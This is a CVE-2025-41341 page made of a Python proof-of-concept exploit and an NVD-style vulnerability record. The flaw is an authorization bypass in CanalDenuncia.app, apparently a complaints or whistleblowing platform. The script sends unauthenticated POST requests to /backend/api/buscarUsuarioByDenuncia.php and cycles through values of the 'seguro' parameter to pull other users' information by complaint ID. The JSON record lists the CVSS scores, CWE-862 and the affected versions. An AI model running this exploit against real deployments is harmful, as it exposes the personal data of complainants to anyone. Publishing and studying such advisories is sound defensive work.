CVE-2025-41341

import requests import sys # CVE-2025-41341 PoC - CanalDenuncia.app Authorization Bypass # Description: Lack of authorization in /backend/api/buscarUsuarioByDenuncia.php # allows attackers to access other users' information via POST parameters def exploit(target_url, id_denuncia, seguro="1"): """ Exploit the authorization bypass vulnerability Args: target_url: Base URL of the vulnerable application id_denuncia: The complaint ID to query (integer) seguro: Security parameter (default: "1") Returns: Response from the server containing user information """ endpoint = f"{target_url}/backend/api/buscarUsuarioByDenuncia.php" # Construct POST payload with required parameters payload = { 'id_denuncia': id_denuncia, 'seguro': seguro } # Send POST request without authentication headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending request to: {endpoint}") print(f"[*] Payload: id_denuncia={id_denuncia}, seguro={seguro}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <id_denuncia>") print(f"Example: python {sys.argv[0]} https://vulnerable-site.com 123") sys.exit(1) target_url = sys.argv[1].rstrip('/') id_denuncia = sys.argv[2] print("=" * 60) print("CVE-2025-41341 PoC - CanalDenuncia.app Authorization Bypass") print("=" * 60) # Try with different seguro values for seguro_value in ['1', 'true', 'yes', '0']: print(f"\n[*] Testing with seguro={seguro_value}") exploit(target_url, id_denuncia, seguro_value) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-41341", "sourceIdentifier": "[email protected]", "published": "2025-11-04T14:15:36.133", "lastModified": "2025-11-05T17:03:15.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameters 'id_denuncia' and 'seguro' in '/backend/api/buscarUsuarioByDenuncia.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canaldenuncia:canaldenuncia.app:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.8", "matchCriteriaId": "D01A84B8-616B-48DE-B0C2-1DEAD4BB5B22"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}